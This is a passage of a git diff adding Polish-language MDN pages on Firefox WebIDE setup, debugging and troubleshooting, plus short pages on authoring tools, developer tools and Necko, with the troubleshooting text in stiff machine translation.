+ <p>This may be a string, in which case the command is just executed as-is, or may be an object which must contain "<code>command</code>", and may contain any of "<code>env</code>", "<code>args</code>", and "<code>cwd</code>".</p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td> </td>
+ <td><code>command</code></td>
+ <td>
+ <p>The command to execute in the command shell.</p>
+
+ <p>For example: "<code>echo</code>".</p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td> </td>
+ <td><code>env</code></td>
+ <td>
+ <p>Any environment variables to set.</p>
+
+ <p>This is specified as an array of strings in the form "NAME=value". For example: <code>["NAME=world"]</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td> </td>
+ <td><code>args</code></td>
+ <td>
+ <p>Any arguments to pass along with the command.</p>
+
+ <p>This is specified as an array of strings.</p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td> </td>
+ <td><code>cwd</code></td>
+ <td>
+ <p>The directory from which to run the command.</p>
+
+ <p>This may be absolute or relative to the current directory.</p>
+ </td>
+ </tr>
+ <tr>
+ <td> </td>
+ <td><code>packageDir</code></td>
+ <td> </td>
+ <td>
+ <p>The directory from which WebIDE should look for the app to push to the runtime.</p>
+
+ <p>Use this if you want the project in WebIDE to be the source from which to build a packaged app. The build step specified in <code>prepackage</code> would place the built app in an output directory, you will specify the output directory in <code>packageDir</code>, and WebIDE will install the app from that output directory rather than the project directory.</p>
+
+ <p>This property is optional, and if it's omitted WebIDE will package the app from the project root, just as if package.json was omitted.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Examples">Examples</h3>
+
+<p>A "package.json" to build a Gaia app:</p>
+
+<pre class="brush: json">{
+ "webide": {
+ "prepackage": {
+ "command": "make",
+ "env": ["APP=settings"],
+ "cwd": "../.."
+ },
+ "packageDir": "../../build_stage/settings/"
+ }
+}</pre>
+
+<p>A "package.json" for working with Cordova:</p>
+
+<pre class="brush: json">{
+ "webide": {
+ "prepackage": "cordova prepare",
+ "packageDir": "./platforms/firefoxos/www"
+ }
+}</pre>
+
+<h2 id="Running_and_debugging_apps">Running and debugging apps</h2>
+
+<p>When you're ready to run the app, you need to <a href="/en-US/docs/Tools/WebIDE#Selecting_a_runtime">select a runtime from the "Select Runtime" dropdown menu</a>. If you don't have any available runtimes here, find out how to add some in <a href="/en-US/docs/Tools/WebIDE#Setting_up_runtimes">Setting up runtimes</a>.</p>
+
+<p>The "play" button in the center of the WebIDE toolbar is now enabled: click it to install and run the app in the selected runtime:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8065/webide-running.png" style="width: 1314px; height: 718px; display: block; margin-left: auto; margin-right: auto;">To debug the app, click the "Pause" button and the Developer Tools <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> appears, connected to your app:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8067/webide-debugging.png" style="width: 1310px; height: 688px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<div class="geckoVersionNote">
+<p>From Firefox 36 onwards, the "Pause" button is replaced with a wrench icon.</p>
+</div>
+
+<p>Exactly which tools you'll have available depends on the runtime, but you will at least have the basics: the <a href="/en-US/docs/Tools/Page_Inspector">Inspector</a>, <a href="/en-US/docs/Tools/Web_Console">Console</a>, <a href="/en-US/docs/Tools/Debugger">JavaScript Debugger</a>, <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>, <a href="/en-US/docs/Tools/Profiler">Profiler</a> and <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a>. Just as in a web page, any changes you make in the tools are visible immediately in the app, but are not persistent. Conversely, any changes you make in the editor pane can be saved straight back to disk, but are not visible without restarting the app.</p>
+
+<h3 id="Unrestricted_app_debugging_(including_certified_apps_main_process_etc.)">Unrestricted app debugging (including certified apps, main process, etc.)</h3>
+
+<p>You can run the debugger against the simulator, b2g desktop, or a real device.</p>
+
+<p>With the Simulator, if you click on the app dropdown menu while the runtime is selected, you can see and debug not only your app but all apps running in that runtime, including <a href="/en-US/Marketplace/Options/Packaged_apps#Certified_app">certified apps</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8069/webide-debugging-builtin.png" style="width: 1302px; height: 681px; display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p><br>
+ However, when connecting to a real device we have a security policy in force:</p>
+
+<ul>
+ <li>On devices running Firefox OS versions up to 2.1, all installed apps on device that are <strong>not</strong> certified apps (so privileged and web / regular apps) appear in "Runtime Apps" by default.</li>
+ <li>On Firefox 2.1 and above, we changed this so that only apps installed via DevTools / WebIDE appear in "Runtime Apps", regardless of app type. We did this to protect potentially sensitive data that could be present in apps.</li>
+</ul>
+
+<p>To remove this restriction:</p>
+
+<ul>
+ <li>The device must be running a development build of Firefox OS 1.2+</li>
+ <li>You must disable the <code>DevTools restricted privileges</code> setting.</li>
+</ul>
+
+<p>To disable <code>DevTools restricted privileges</code>, connect to the runtime, and then, in the menu, go to <code>Runtime &gt; Runtime Info</code>. The path then differs depending on what you are debugging against:</p>
+
+<ul>
+ <li>Real device
+ <ul>
+ <li>If it can be rooted, clicking <code>"request higher privileges"</code> will enable unrestricted app debugging (Firefox OS will restart). You may need to select your device again in the 'Select Runtime' drop down.</li>
+ </ul>
+ </li>
+ <li>Simulator
+ <ul>
+ <li>The simulators come with unrestricted app debugging enabled by default.</li>
+ </ul>
+ </li>
+ <li>B2G desktop
+ <ul>
+ <li>Manually edit the B2G desktop client <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager#Using_the_B2G_desktop_client">preferences</a> before connecting to enable unrestricted app debugging.</li>
+ </ul>
+ </li>
+</ul>
+
+<p>Now (or after a restart of the B2G desktop client) in WebIDE you should see all the apps on the device.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As indicated above, to enable unrestricted privileges on a real device through WebIDE you'll need a rooted device. There is however a developer setting available in Firefox OS 2.2 onwards called <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Reset_and_enable_full_DevTools">Reset and enable full DevTools</a> — when activated this will wipe all user data (for security reasons), reset the device, and enable unrestricted priviledges on <em>any</em> device.</p>
+</div>
+
+<h2 id="Monitoring_performance">Monitoring performance</h2>
+
+<p>If you're interested in the performance of your apps, there are a few ways to measure their impact on the runtime in WebIDE:</p>
+
+<ul>
+ <li>The <a href="/docs/Tools/WebIDE/Monitor">Monitor</a> panel offers a good overview of a device's performance. This can help you detect problems, e.g. a sudden, excessive increase in an app's memory usage (leak).</li>
+ <li>The <a href="/docs/Tools/Profiler">Profiler</a> tool gives you a way to analyze a single app's footprint in great detail. This is especially useful when investigating a known performance problem.</li>
+</ul>
+
+<h2 id="Troubleshooting">Troubleshooting</h2>
+
+<p>If you have any problems working with WebIDE, see the <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a> page.</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/pl/narzędzia/webide/troubleshooting/index.html b/files/pl/narzędzia/webide/troubleshooting/index.html
new file mode 100644
index 0000000000..52d8e180d9
--- /dev/null
+++ b/files/pl/narzędzia/webide/troubleshooting/index.html
@@ -0,0 +1,152 @@
+---
+title: WebIDE Troubleshooting
+slug: Narzędzia/WebIDE/Troubleshooting
+translation_of: Archive/WebIDE/Troubleshooting
+---
+<p><span id="result_box" lang="pl"><span title="Connecting a Firefox OS device
+
+">Podłączanie urządzenia Firefox OS</span><br>
+ <br>
+ <span title="If you're trying to connect a Firefox OS device to WebIDE and it doesn't show up, here are some things you can try:
+
+    ">Jeśli próbujesz podłączyć urządzenie Firefox OS do WebIDE i nie pokazuje się, oto kilka rzeczy, które można wypróbować:<br>
+ <br>
+     </span><span title="Check your Firefox OS version: make sure your device is running Firefox OS 1.2/Boot2Gecko 1.2 or higher.">Sprawdź wersję Firefox OS: upewnij się, że urządzenie działa Firefox OS 1.2 / Boot2Gecko 1.2 lub wyższej. </span><span title="To check the version, go to the Settings app on the device, then Device Information > Software.">Aby sprawdzić wersję, przejdź do aplikacji Ustawienia urządzenia, a następnie Information Device&gt; Software. </span><span title="If you don't have a high enough version, find your device in the developer phone guide and follow the instructions for upgrading.
+    ">Jeśli nie masz wystarczająco wysoki wersji, znaleźć urządzenie w przewodniku telefonu dewelopera i postępuj zgodnie z instrukcjami rozbudowy.<br>
+     </span><span title="Enable remote debugging: in the Settings app on the device, go to Device information > More information > Developer.
+        ">Włączanie zdalnego debugowania: w aplikacji Ustawienia na urządzeniu, przejdź do Informacje o urządzeniu&gt; więcej informacji&gt; Developer.<br>
+         </span><span title='Firefox OS 1.3 and earlier: "Remote Debugging" is just a simple checkbox.'>Firefox OS 1.3 i wcześniejsze: "Zdalne debugowanie" jest tylko proste pole wyboru. </span><span title="Check the box.
+        ">Zaznacz pole.<br>
+         </span><span title='Firefox OS 1.4 and later: "Remote Debugging" asks you to enable for just ADB, or for ADB and DevTools.'>Firefox OS 1.4, a później: "Zdalne debugowanie" prosi o umożliwienie za jedyne ADB, lub ADB i DevTools. </span><span title='Select "ADB and DevTools".
+    '>Wybierz "ADB i DevTools".<br>
+     </span><span title="Disable screen lock on your device: in the Settings app on the device, go to Screen Lock and unchecking the Lock Screen checkbox.">Wyłącz blokadę ekranu w urządzeniu: w aplikacji Ustawienia na urządzeniu, przejdź do ekranu blokady i odznaczając pole wyboru Zablokuj ekran. </span><span title="This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.
+    ">To jest dobry pomysł, bo gdy ekran zostanie zamknięty, połączenie telefoniczne zostanie utracone, co oznacza, że ​​nie jest już dostępny do debugowania.<br>
+     </span><span title="Make sure you haven't connected an Android phone at the same time as the Firefox OS phone to your computer.
+    ">Upewnij się, że nie podłączono telefonu Android w tym samym czasie, co telefon Firefox OS na komputerze.<br>
+     </span><span title="Check the USB cable you are using:
+        ">Sprawdź kabel USB, którego używasz:<br>
+         </span><span title="Try unplugging and replugging in the USB cable.
+        ">Spróbuj odłączyć i ponownie podłączyć kabel USB.<br>
+         </span><span title="Try plugging the USB cable into a different port on your computer.">Spróbuj podłączyć kabel USB do innego portu w komputerze. </span><span title="You may have to alternate between ports.
+        ">Być może trzeba będzie przełączać się między portami.<br>
+         </span><span title="Try a different USB cable.">Spróbuj użyć innego kabla USB. </span><span title="The cables that come with phones are often of poor quality and fail often.
+        ">Kable, które pochodzą z telefonów są często słabej jakości i nie często.<br>
+         </span><span title="Try a shorter USB cable.">Spróbuj użyć krótszego kabla USB. </span><span title="Long USB cables have been known to not work so well.
+    ">Długie kable USB były znane nie działa tak dobrze.<br>
+     </span><span title="Try disabling and re-enabling Remote Debugging in the Settings app on the device.
+    ">Spróbuj wyłączyć i ponownie umożliwiając zdalne debugowanie w aplikacji Ustawienia w urządzeniu.<br>
+     </span><span title="If you disabled the ADB Addon Helper, did you successfully run the adb forward command?
+    ">Jeśli wyłączona ADB Addon Helper, czy z powodzeniem uruchomić adb komendy naprzód?<br>
+     </span><span title="If you use Linux:
+        ">Jeśli używasz Linuksa:<br>
+         </span><span title="Make sure you added a udev rules file, as documented in step 3 of this guide to setting up an Android device.">Upewnij się, że dodał plik zasadami udev, zgodnie z zapisem w punkcie 3 niniejszej instrukcji do konfigurowania urządzenia z systemem Android. </span><span title='The idVendor attribute to use for the Geeksphone is "05c6", and this page lists other idVendor values.'>IdVendor atrybutów użyć do Geeksphone jest "05c6", a strona ta wymienia inne wartości idVendor. </span><span title="Next, run the adb devices to make sure your device is in the list.">Następnie należy uruchomić urządzenia ADB upewnić się, że urządzenie znajduje się na liście. </span><span title='If device appears to be "no permission", you need to restart adb server (eg adb kill-server;adb start-server).
+    '>Jeśli urządzenie wydaje się być "brak uprawnień", należy ponownie uruchomić serwer adb (np adb kill-server; adb start serwera).<br>
+     </span><span title="If you use Windows:
+        ">Jeśli używasz systemu Windows:<br>
+         </span><span title="You need to install drivers, as documented in step 3 of this guide to setting up an Android device.">Musisz zainstalować sterowniki, zgodnie z zapisem w punkcie 3 niniejszej instrukcji do konfigurowania urządzenia z systemem Android. </span><span title="You can find drivers for Geeksphone devices on the Geeksphone web site and drivers for Google devices on Google web site.">Możesz znaleźć sterowniki do urządzeń Geeksphone na stronie internetowej Geeksphone i sterowników dla urządzeń Google na stronie internetowej Google. </span><span title="Windows 8 by default will not let you install unsigned drivers.">Windows 8 domyślnie nie pozwala zainstalować niepodpisane sterowniki. </span><span title='See this tutorial on "How to install an unsigned driver on Windows 8".
+        '>Zobacz ten tutorial na temat "Jak zainstalować niepodpisane sterowniki na Windows 8".<br>
+         </span><span title="If WebIDE can't see your device after following all the steps, you may have to edit adb_usb.ini.
+    ">Jeśli WebIDE nie widzi urządzenia po wykonaniu wszystkich kroków, być może trzeba będzie edytować adb_usb.ini.<br>
+     </span><span title="If you use Mac OS X:
+        ">Jeśli używasz Mac OS X:<br>
+         </span><span title="If you're getting timeout errors connecting to both simulators and real devices, you may be unable to connect to localhost due to an empty /etc/hosts file.">Jeśli otrzymujesz błędy limitu czasu z połączeniem obu symulatorów i prawdziwych urządzeń, możesz nie być w stanie połączyć się z localhost z powodu pustego pliku / etc / hosts. </span><span title="You can solve the problem by populating the file and flushing DNS cache as described here.
+        ">Można rozwiązać ten problem poprzez stworzenie pliku i płukania DNS cache, jak opisano tutaj.<br>
+         </span><span title="If you're an EasyTether user, you will need to uninstall or disable EasyTether: sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext
+
+">Jeśli jesteś EasyTether użytkownika, należy odinstalować lub wyłączyć EasyTether: sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</span><br>
+ <br>
+ <span title="Unrestricted debugging (including certified apps, built-in apps, apps already installed on a device)
+
+">Nieograniczony debugowania (w tym certyfikowanych aplikacji, wbudowane aplikacje, aplikacje już zainstalowane na urządzeniu)</span><br>
+ <br>
+ <span title="If you are finding that you can't debug certified apps, built-in apps, or apps already installed on a real device, then you may be coming across WebIDE's restricted privileges security policy.">Jeśli stwierdzenie, że nie można debugować certyfikowane aplikacje, wbudowane aplikacje lub aplikacje już zainstalowane na rzeczywistym urządzeniu, a następnie może być napotykając ograniczonej polityki bezpieczeństwa przywileje WebIDE za. </span><span title="To find out more, see the section on Unrestricted app debugging (including certified apps, main process, etc.).
+">Aby dowiedzieć się więcej, zobacz sekcję Nieograniczony app debugowania (w tym certyfikowanych aplikacji, głównego procesu, itp).</span><br>
+ <span title="Connecting to Firefox for Android
+
+">Podłączanie do Firefoksa dla Androida</span><br>
+ <br>
+ <span title="If you're trying to connect to a Firefox instance running on the Android OS and it doesn't show up, here are some things you can try:
+
+    ">Jeśli próbujesz połączyć się z systemem Firefox instancji na Android OS i nie pokazuje się, oto kilka rzeczy, które można wypróbować:<br>
+ <br>
+     </span><span title="Check your Firefox version: make sure your device is running Firefox 36 or higher.">Sprawdź wersję Firefox: upewnij się, że urządzenie działa Firefox 36 lub wyższej. </span><span title="WebIDE will not detect older versions automatically, so you need to enable port forwarding and connect to the device port - follow the instructions here.
+    ">WebIDE nie wykrywa starsze wersje automatycznie, więc musisz włączyć przekierowanie portów i podłączyć do portu urządzenia - postępuj zgodnie z instrukcjami tutaj.<br>
+     </span><span title="Make sure you have enabled remote debugging in Firefox: open Firefox for Android, open its menu, select Settings, and then check the checkbox at Developer Tools > Remote debugging.
+    ">Upewnij się, że masz włączone zdalne debugowanie Firefox: otwarty Firefox dla Androida, otwórz jego menu, wybierz Ustawienia, a następnie zaznacz pole wyboru przy Developer Tools&gt; zdalnego debugowania.<br>
+     </span><span title="Make sure that USB debugging is allowed in the device's developer settings
+    ">Upewnij się, że debugowanie USB jest dozwolone w ustawieniach deweloperskich przyrządu<br>
+     </span><span title="If you still do not see your device in the WebIDE window, try toggling Remote debugging on the phone.
+        ">Jeśli nadal nie widać urządzenia w oknie WebIDE spróbuj przełączyć zdalne debugowanie na telefon.<br>
+         </span><span title="Disconnect your device from your computer and turn off Remote debugging on the phone.
+        ">Odłącz urządzenie od komputera i wyłączyć zdalne debugowanie na telefon.<br>
+         </span><span title="Reconnect the device and turn on Remote debugging - this restarts the debugger instance on the phone.
+        ">Podłącz ponownie urządzenie i włączyć zdalnego debugowania - to restartuje instancji debugger na telefon.<br>
+         </span><span title="Try connecting via WebIDE again.
+
+">Spróbuj podłączyć poprzez WebIDE ponownie.</span><br>
+ <br>
+ <span title="Connecting to other browsers (Chrome, Safari)
+
+">Podłączanie do innych przeglądarek (Chrome, Safari)</span><br>
+ <br>
+ <span title="WebIDE makes use of Valence (formerly Firefox Tools Adapter) to reach other browsers, like Chrome and Safari.
+
+">WebIDE korzysta z Valence (dawniej Firefox Narzędzia Adapter) dotrzeć do innych przeglądarek, takich jak Chrome i Safari.</span><br>
+ <br>
+ <span title="If you are having trouble connecting to these other browsers, check the setup steps and other notes for those browsers on the Valence page.
+">Jeśli występują problemy z logowaniem do innych przeglądarek, sprawdź kroki instalacyjne i inne notatki dla tych przeglądarek na stronie Valence.</span><br>
+ <span title="Unable to load project list
+
+">Nie można załadować listę projektu</span><br>
+ <br>
+ <span title='If you open WebIDE in one version of Firefox, and then downgrade to a previous Firefox version with the same profile, you may see the error "Unable to load project list" when opening WebIDE in the earlier Firefox version.
+
+'>Jeśli otwarta WebIDE w jednej wersji Firefoksa, a potem downgrade do poprzedniej wersji Firefoksa o tym samym profilu, możesz zobaczyć błąd "Nie można załadować listę projektu" podczas otwierania WebIDE w starszej wersji Firefoksa.</span><br>
+ <br>
+ <span title="This can occur when the storage system that WebIDE uses (IndexedDB) needs to move or restructure its internal files for the newer Firefox version.">Może się to zdarzyć, gdy system pamięci masowej, który WebIDE zastosowań (IndexedDB) musi przenieść lub zrestrukturyzować swoje wewnętrzne pliki do nowszej wersji przeglądarki Firefox. </span><span title="The project list then becomes effectively inaccessible to older versions of Firefox.
+
+">Lista projekt staje się skuteczne niedostępne dla starszych wersji Firefoksa.</span><br>
+ <br>
+ <span title="No data has been lost, but you will need to keep using the newest version of Firefox that was used with your profile to get the project list back.
+
+">Żadne dane nie zostały utracone, ale trzeba zachować przy użyciu najnowszej wersji Firefoksa, który został użyty w swoim profilu, aby otrzymać listę projektów powrotem.</span><br>
+ <br>
+ <span title="If really want to use the older version of Firefox, you can attempt to delete just the project list in the following way, but this is unsupported and could result in the further problems or additional data loss:
+
+    ">Jeśli naprawdę chcesz używać starszej wersji Firefoksa, można próbować usunąć tylko listę projektów w następujący sposób, ale to nie jest obsługiwane i może doprowadzić do kolejnych problemów lub dodatkowych utraty danych:<br>
+ <br>
+     </span><span title="Close Firefox
+    ">Zamknij Firefox<br>
+     </span><span title="Find your Firefox profile directory
+    ">Znajdź swój Firefox katalogu profilu<br>
+     </span><span title="Find the storage folder inside the profile directory
+    ">Znajdź folder przechowywania wewnątrz katalogu profilu<br>
+     </span><span title="Under some part of this file tree, there should be files and/or directories that start with 4268914080AsptpcPerjo (a hashed name of the database)
+    ">Pod jakąś część tego pliku drzewa, nie powinno być pliki i / lub katalogi, które zaczynają 4268914080AsptpcPerjo (zakodowane nazwy bazy danych)<br>
+     </span><span title="Remove any such files and directories
+    ">Usuń wszystkie takie pliki i katalogi<br>
+     </span><span title="Start Firefox and WebIDE again
+
+">Uruchom ponownie program Firefox i WebIDE</span><br>
+ <br>
+ <span title="Enable logging
+
+">Włącz rejestrowanie</span><br>
+ <br>
+ <span title="You can also enable verbose logging to gather diagnostics:
+
+    ">Można również włączyć pełne rejestrowanie na zebranie diagnostykę:<br>
+ <br>
+     </span><span title="Open about:config, and add a new preference called extensions.adbhelper@mozilla.org.sdk.console.logLevel, with the string value all, and set extensions.adbhelper@mozilla.org.debug to true.
+    ">Otwórz about: config, a następnie dodaj nowy preferencji nazwie extensions.adbhelper@mozilla.org.sdk.console.logLevel, z wartości ciągu wszystkich, i ustawić extensions.adbhelper@mozilla.org.debug true.<br>
+     </span><span title="In the Add-ons Manager, disable and then re-enable the ADB Helper add-on.
+    ">W Menedżerze dodatków, wyłączyć i ponownie włączyć ADB Pomocnik add-on.<br>
+     </span><span title="Open the Browser Console and you'll now see console messages prefixed with adb.">Otwórz przeglądarkę konsoli i będziesz teraz zobaczyć wiadomości konsoli z przedrostkiem adb. </span><span title="If the messages don't mean anything to you, ask for help.
+
+">Jeśli komunikat nie znaczy nic dla ciebie, poproś o pomoc.</span><br>
+ <br>
+ <span title="Get help
+
+">Uzyskaj pomoc</span><br>
+ <br>
+ <span title="Go to the #devtools room on IRC and we will try to help.">Idź do pokoju #devtools na IRC, a my postaramy się pomóc.</span></span></p>
diff --git a/files/pl/narzędzia_autorskie_zgodne_ze_standardami/index.html b/files/pl/narzędzia_autorskie_zgodne_ze_standardami/index.html
new file mode 100644
index 0000000000..915f2ba09f
--- /dev/null
+++ b/files/pl/narzędzia_autorskie_zgodne_ze_standardami/index.html
@@ -0,0 +1,38 @@
+---
+title: Narzędzia autorskie zgodne ze standardami
+slug: Narzędzia_autorskie_zgodne_ze_standardami
+tags:
+ - 'HTML:Narzędzia'
+ - 'XHTML:Narzędzia'
+translation_of: Archive/Web/Standards-Compliant_Authoring_Tools
+---
+<p> </p>
+<p>Tworzenie kodu działającego na wielu przeglądarkach w bezpośredni sposób skróci czas testowania Twojej strony i jej zawartości. Poniższe narzędzia autorskie stosują się do standardów W3. Jeżeli używasz starszych wersji narzędzi, które działają w oparciu o błędy starych przeglądarek lub generują kod specyficzny dla niektórych z nich, być może jest to czas, aby zmienić swój warsztat pracy:</p>
+<ul>
+ <li><a class="external" href="http://www.nvu.com/">NVu</a> samodzielny edytor stworzony z pozostałości Kompozytora Stron. Obecnie zmiany dokonane w kodzie NVu są przenoszone z powrotem do kodu źródłowego Mozilli.</li>
+ <li><a class="external" href="http://www.chami.com/html-kit/">HTML-Kit</a> jest potężnym, a jednocześnie tanim edytorem zaprojektowanym, aby pomagać autorom dokumentów HTML, XHTML i XML edytować, formatować, walidować, podglądać i publikować ich strony internetowe. Możliwe jest przeprowadzenie walidacji za pomocą HTML Tidy, aby zweryfikować zgodność ze standardami.</li>
+ <li><a class="external" href="http://www.adobe.com/products/golive/">Adobe™ GoLive™ 6+</a></li>
+ <li><a class="external" href="http://www.macromedia.com/software/dreamweaver/">Macromedia™ Dreamweaver™ CS3</a></li>
+ <li><a class="external" href="http://www.macromedia.com/software/homesite/">Macromedia™ Homesite™ 5+</a></li>
+ <li><a class="external" href="http://bradsoft.com/">Bradsoft TopStyle</a> zaprojektowany przez twórcę programu Homesite</li>
+ <li><a class="external" href="http://www.westciv.com/style_master/">Style Master</a> i <a class="external" href="http://www.westciv.com/layout_master/">Layout Master</a> autorstwa Western Civilisation</li>
+</ul>
+<p>Uaktualnienia do starszych wersji zapewniające zgodność ze standardami:</p>
+<ul>
+ <li><a class="external" href="http://www.adobe.com/support/techdocs/2814e.htm">Adobe GoLive 5.0 update</a></li>
+ <li><a class="external" href="http://www.macromedia.com/support/dreamweaver/ts/documents/netscape_6.htm">Dreamweaver 4 update</a></li>
+</ul>
+<p>Parę uwag: Wygląda na to, że narzędzia Namo generują kod charakterystyczny dla IE lub Netscape'a 4, który może wymagać dodatkowych testów w celu zapewnienia kompatybilności z przeglądarkami opartymi o standardy. Nowsze wersje Microsoft FrontPage™ zostały ulepszone, jednak nie polegaj na rozszerzeniach typowych dla FrontPage'a w przypadku podstawowej zawartości lub funkcjonalności strony. Niektóre wersje Microsoft Word tworzą nieprawidłowy kod HTML, który działa tylko w Internet Explorerze. Zawsze staraj się poddawać Twoje strony <a href="pl/Narz%c4%99dzia/Walidatory">walidacji</a>.</p>
+<h3 id="Podobne_odno.C5.9Bniki" name="Podobne_odno.C5.9Bniki">Podobne odnośniki</h3>
+<ul>
+ <li><a href="pl/Narz%c4%99dzia/Walidatory">Walidatory</a></li>
+ <li><a href="pl/HTML">Centrum HTML</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Last Updated Date: January 30th, 2003</li>
+ <li>Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/narzędzia_clone/index.html b/files/pl/narzędzia_clone/index.html
new file mode 100644
index 0000000000..36a5550681
--- /dev/null
+++ b/files/pl/narzędzia_clone/index.html
@@ -0,0 +1,82 @@
+---
+title: Narzędzia dla programistów Firefox
+slug: Narzędzia_clone
+tags:
+ - Narzędzia
+---
+<p><span class="comment">This should not be merged with Web development, as this also applies to XUL/JS development</span></p>
+
+<ul>
+ <li> </li>
+</ul>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Tworzenie_stron_WWW" name="Tworzenie_stron_WWW">Tworzenie stron WWW</h4>
+
+ <h5 id="Rozszerzenia" name="Rozszerzenia">Rozszerzenia</h5>
+
+ <p>Rozszerzenia Mozilli / Firefoksa pomocna dla autorów stron WWW.</p>
+
+ <ul>
+ <li><a href="pl/Venkman">Venkman</a> - Venkman jest debuggerem JavaScript.</li>
+ <li><a href="pl/Inspektor_DOM">Inspektor DOM</a></li>
+ <li><a class="link-https" href="https://addons.update.mozilla.org/extensions/moreinfo.php?application=firefox&amp;category=Developer%20Tools&amp;numpg=10&amp;id=60">WebDeveloper</a> - Pasek narzędziowy Web Developer jest rozszerzeniem do Firefoksa</li>
+ <li><a class="external" href="http://www.karmatics.com/aardvark/">Aardvark</a> - rozszerzenie Aardvark (pokazuje elementy DOM w trakcie poruszania kursorem nad stroną)</li>
+ </ul>
+
+ <h5 id="Walidatory" name="Walidatory">Walidatory</h5>
+
+ <ul>
+ <li><a href="pl/Narz%c4%99dzia/Walidatory">Lista walidatorów</a></li>
+ </ul>
+
+ <h5 id="Oprogramowanie_autorskie" name="Oprogramowanie_autorskie">Oprogramowanie autorskie</h5>
+
+ <ul>
+ <li><a href="pl/Narz%c4%99dzia_autorskie_zgodne_ze_standardami">Narzędzia autorskie zgodne ze standardami</a></li>
+ <li><a class="external" href="http://tidy.sourceforge.net/">HTMLTidy</a> - Narzędzie do czyszczenia kodu HTML</li>
+ </ul>
+ </td>
+ <td>
+ <h4 id="JavaScript" name="JavaScript">JavaScript</h4>
+
+ <ul>
+ <li><a href="pl/Venkman">Venkman</a> - Venkman jest debuggerem JavaScript.</li>
+ <li><a class="external" href="http://www.jslint.com/">JSLint</a></li>
+ <li><a class="external" href="http://jsdoc.sourceforge.net/">JSDoc</a> - narzędzie do tworzenia (zwykle w języku HTML) dokumentacji z komentarzy w kodzie (podobne do JavaDoc).</li>
+ </ul>
+
+ <h4 id="DOM" name="DOM">DOM</h4>
+
+ <ul>
+ <li><a href="pl/Inspektor_DOM">Inspektor DOM</a></li>
+ <li><a class="external" href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html">MODI</a> - Mouseover DOM Inspector(także znany jako bookmarklet) to interaktywny inspektor DOM, który pozwala na przeglądanie oraz manipulowanie elementami DOM poprzez poruszanie kursorem.</li>
+ </ul>
+
+ <h4 id="Lokalizacje" name="Lokalizacje">Lokalizacje</h4>
+
+ <ul>
+ <li><a class="external" href="http://www.mozilla.org/projects/l10n/mlp_tools.html">Narzędzia lokalizacyjne i wspierające</a></li>
+ </ul>
+
+ <h4 id="Zarz.C4.85dzanie_drzewem_i_ga.C5.82.C4.99zi.C4.85" name="Zarz.C4.85dzanie_drzewem_i_ga.C5.82.C4.99zi.C4.85">Zarządzanie drzewem i gałęzią</h4>
+
+ <ul>
+ <li><a href="pl/U%c5%bcywanie_cross_commit">Skrypt <code>cross-commit</code></a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><br>
+ <span class="comment">Interwiki Language Links</span> <span class="comment">Categories</span></p>
+
+<p> </p>
+
+<dl>
+ <dd> </dd>
+</dl>
diff --git a/files/pl/necko/index.html b/files/pl/necko/index.html
new file mode 100644
index 0000000000..c0bc49b73d
--- /dev/null
+++ b/files/pl/necko/index.html
@@ -0,0 +1,45 @@
+---
+title: Necko
+slug: Necko
+tags:
+ - Necko
+ - Strony_wymagające_dopracowania
+translation_of: Mozilla/Projects/Necko
+---
+<p>Biblioteka internetowa (Necko) dostarcza API niezależnego od platformy dla rozmaitych warstw internetowych działań, od połączeniowych do prezentacyjnych warstw. Necko jest używany w kliencie Mozilli i może być użyty do pisania innych aplikacji internetowych.</p>
+
+<p>Obecnie, biblioteka jest częścią dystrybucji mozilli. Możesz ściągnąć całą dystrybucję tak jak wszystko inne w tym portalu. Pracujemy także nad mechanizmem wydawania plików binarnych dla tej biblioteki, więc będziesz mógł tworzyć aplikację używającą Necko bez budowania mozilli. Aktualnie, będziesz musiał sprawdzić drzewko mozilli i najmniejszą wersję NSPR i XPCOM przed kompilacją tej biblioteki.</p>
+
+<p>Nasz najnowszy kod znajduje się w {{ Source("netwerk/") }}</p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h3 id="Documents_and_Slides" name="Documents_and_Slides">Documents and Slides</h3>
+
+ <div class="warning">
+ <p>Niektóre zasoby mogą być nieaktualne.</p>
+ </div>
+
+ <ul>
+ <li><a href="/pl/The_Necko_HTTP_module" title="pl/The_Necko_HTTP_module">The Necko HTTP module</a></li>
+ <li><a href="/Special:Tags?tag=Necko&amp;language=pl" title="Special:Tags?tag=Necko&amp;language=pl">Browse all documents...</a></li>
+ </ul>
+
+ <ul>
+ <li><a class="external" href="http://www.mozilla.org/projects/netlib/presentations/osc2001/slide1.xml">Gagan's presentation</a> w 2001 roku, Konferencja O'reilly OpenSource (wymaga Firefoksa do zobaczenia).</li>
